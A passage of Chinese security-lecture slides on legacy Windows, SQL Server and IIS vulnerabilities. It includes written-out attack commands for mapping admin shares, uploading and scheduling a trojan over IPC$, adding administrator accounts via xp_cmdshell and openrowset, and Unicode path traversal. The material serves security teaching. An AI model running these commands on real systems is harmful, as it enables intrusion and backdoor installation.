《系统安全漏洞与安全检测》由会员分享,可在线阅读,更多相关《系统安全漏洞与安全检测(59页珍藏版)》请在金锄头文库上搜索。
1、蓝盾网络安全讲座,-张贺勋,蓝盾安全小组,系统安全漏洞与安全检测,目录 漏洞的形成 漏洞的分类 漏洞的检测工具 漏洞的防范办法 安全检测的目的 常见安全检测的内容 专业安全检测的内容,一、漏洞形成,后门:大型软件、系统的编写,是许多程序员共同完成。他们是将一个软件或系统分成若干板块,分工编写,然后再汇总,测试。最后,修补,发布。在软件汇总时,为了测试方便,程序员总会留有后门;在测试以后再进行修补这些后门,如果一旦疏忽(或是为某种目的故意留下),或是没有发现,软件发布后自然而然就成了漏洞。 程序若干板块之间的空隙:这里很容易出现连程序员的都没想到的漏洞!,蓝盾安全小组,网络协议:网络协议有TCP
2、、UDP、ICMP、IGMP等。其实,他们本来的用途是好的,但却被别人用于不乏的活动:例如,ICMP本来是用于寻找网络相关信息,后来却被用于网络嗅探和攻击;TCP本来是用于网络传输,后来却被用于泄漏用户信息。 程序员自身的素质:程序员的自身对网络安全认识的不够,写出的程序自身就有漏洞。,二、系统漏洞的分类 操作系统漏洞 应用平台的漏洞 应用系统的漏洞 网络系统漏洞,操作系统的漏洞 弱口令 弱口令就是用户的操作密码过于简单(如123)。 描述:本漏洞的危害性极强,它可以对系统服务器作任何的操作。主要是因为管理员的安全意识不足。测试目的:用本漏洞控制服务器系统。 (1)我们可以用爆力破解工具或扫描
3、器(XSCAN等)对机器进行扫描,可得到管理员密码。只要拥有管理员级权限,就能完全共享应用对方的机器,如下面的命令会将对方的C盘映射为自己的X盘: c:net use x: 目标主机的IP地址c$ “密码“ /user:“用户名“ 其中“c$“为系统默认共享,依此类推,同样可以共享对方的“d$“,“e$,(2)运行AT命令 。 C:net start schedule Schedule 正在启动服务. Schedulw 服务启动成功。 AT的语法: AT computername time “command“ 比如: AT computername time runnc.bat (3)用远程控
4、制终端,输入法漏洞 描述:输入法漏洞可以说是中文Windows2000推出后的第一个致命漏洞,通过它我们可以做许多的事情,包括建立用户. 测试1:使用文件类型编辑创建管理员用户 : 1.开机到登陆界面调出输入法,如全拼-帮助-操作指南,跳出输入法指南帮助文件 2.右击“选项“按钮,选择“跳至url“ 3.在跳至URL上添上“c:“,其它的也可. 4.帮助的右边会进入c: 5.按帮助上的“选项“按钮. 6.选“internet“选项.会启动文件类型编辑框.,7.新建一个文件类型,如一个you文件类型,在跳出的文件后缀中添上“you“.确定. 8.选中文件类型框中的“you“文件类型,点击下面的“
5、高级按钮“,会出现文件操作对话框. 9.新建一种文件操作,操作名任意写,如“ppp“ 10.该操作执行的命令如下: C:WINNTsystem32cmd.exe /c net user mayi 123456 /add & C:WINNTsystem32cmd.exe /c net localgroup administrators aboutnt /add 完成后退出 11.将c:的某个文件如“pipi.txt“改为“pipi.txt.mayi“,然后双击打开这个文件. 12.通常这个文件是打不开的,系统运行一会便没有了提示,但这时我们已经将用户mayi加上了,权限是管理员. 13.返回,重
6、新以aboutnt用户登录即可。,IPC$共享漏洞 描述:危害性大,主要是和其它漏洞一块使用IPC$(Inter-Process Communication)共享是NT计算机上的一个标准的隐含共享,它是用于服务器之间的通信的。NT计算机通过使用这个共享来和其他的计算机连接得到不同类型的信息的。常常可利用这一点来,通过使用空的IPC会话进行攻击。 测试1:通过本漏洞猜测用户密码 c:net use 目标机器的IP地址ipc$ /user: 当这个连接建立后,要将username和password送去加以,确认。如果你以“Administrator“登录,则需要进行口令猜测。 可以重复使用net命
7、令,进行username和password猜测: c:net use xxx.xxx.xxx.xxxipc$ /user: 也可以使用脚本语句: open(IPC, “net use xxx.xxx.xxx.xxxipc$ /user: “); 看看目标计算机上有那些共享的资源可以用下面命令: c:net view 目标计算机的IP地址 一旦IPC$共享顺利完成,下一个命令是: c:net use g: xxx.xxx.xxx.xxxc$ 得到了C$共享,并将该目录映射到g:,键入: c:dir g: /p 就能显示这个目录的所有内容。,测试 2:通过测试1来上传木马控制服务器 c:net u
8、se 202.1.1.1ipc$ ” /user:”admin” 此时,cmd会提示命令成功完成。这样你就和202.1.1.1建立了IPC连接。 c:copy server.exe 202.1.1.1admin$ 上传server.exe到202.1.1.1的winnt目录,因为winnt目录里的东西比较多,管理员不容易发现,所以我们把server.exe上传到里面。Server.exe是janker写的winshell生成的程序,WinShell是一个运行在Windows平台上的Telnet服务器软件。 c:net time 202.1.1.1 这个命令可以的到202.1.1.1的系统时间,
9、例如是00:00 c:at 202.1.1.1 00:01 ”server.exe”,cmd会提示新加了一项任务,其作业ID为1,这样远程系统会在00:01时运行server.exe。 c:at 202.1.1.1 1 这样可以查看ID为1的作业情况。 c:net use 202.1.1.1ipc$ /delete 退出IPC连接。 现在,server.exe已经在远程主机上运行了。输入: c:telnet 202.1.1.1 21(端口可以自己在winshell中设定) 这样就成功的telnet到202.1.1.1上了。,应用平台的漏洞 SQL SERVER存在的一些安全漏洞: “SA”帐号
10、弱口令 描述:危害性极强,它可以完作控制系统服务器。存在“sa”帐户,密码就为空, 或密码过于简单,我们就可以通过扫描工具(如X-SCAN等)得到密码,用测试:通过XP-CMDSHEll来增加一个帐号 如:Xp_cmdshell “net user testuser /ADD “ 然后在: Xp_cmdshell “net localgroup Administrators testuser /ADD “ 这样攻击者就成功的在SQL SERVER上增加了一个用户。,当然远程的话,一般需要有1433口开着,通过MSSQL 客户端进行连接。 最后你可以用添加的用户名通过远程控制终端来控制你服务器系
11、统。,扩展存储过程参数解析漏洞: 描述:危害性极强,它可以完作控制系统服务器。起主要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来扩展存储过程调用时解释深入参数的,如: exec , , . 如要查询“c:winnt”的目录树,可以如下表达: exec xp_dirtree c:winnt 但没有检查各个参数的长度,传递相当长的字符串,就存在了覆盖其他堆栈参数的可能导致缓冲溢出。 目前已知受影响的扩展存储过程如下: xp_printstatements (xprepl.dll) xp_proxiedmetadata (xprepl.dll) xp_SetSQLSec
12、urity (xpstar.dll) ,关于openrowset和opendatasource 描述:危害性极强,它可以完作控制系统服务器。利用openrowset发送本地命令 ,通常我们的用法是(包括MSDN的列子)如下 select * from openrowset(sqloledb,myserver;sa;,select * from table) 可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! select * from
13、 openrowset(sqloledb,server;sa;,set fmtonly off exec master.dbo.xp_cmdshell dir c:) 必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面,的select显示,如果采用 默认设置,会返回空集合导致select出错,命令也就无法执行了。 那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作 select * from openrowset(sqlo
14、ledb,server;sa;,select OK! exec master.dbo.sp_addlogin Hectic) 这样,命令至少会返回select OK!的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用 select OK!的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!,IIS漏洞 IIS unicode漏洞 描述:危害性极强,可以完全的控制服务器。对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的
15、编码例如“%c1%hh”或者“%c0%hh”,它会首先将其解码变成:0xc10xhh,然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00 (0xc1 - 0xc0) * 0x40 + 0xhh %c0%hh - (0xc0 - 0xc0) * 0x40 + 0xhh 例如,在Windows 2000 简体中文版 + IIS 5.0 + SP1系统下测试:,http:/target/A.ida/%c1%00.ida IIS会报告说 “.ida“ 文件找不到 这里: (0xc1-0xc0)*0x40+0x00=0x40= http:/target/A.ida/%c1%01.ida IIS会报告说 “A.ida“ 文件找不到 这里: (0xc1-0xc0)*0x40+0x01=0x41=A 攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。 测试 1:下面的URL可能列出当前目录的内容: http:/ 测试2 :利用这个漏洞查看系统文件内容也是可能的: http:/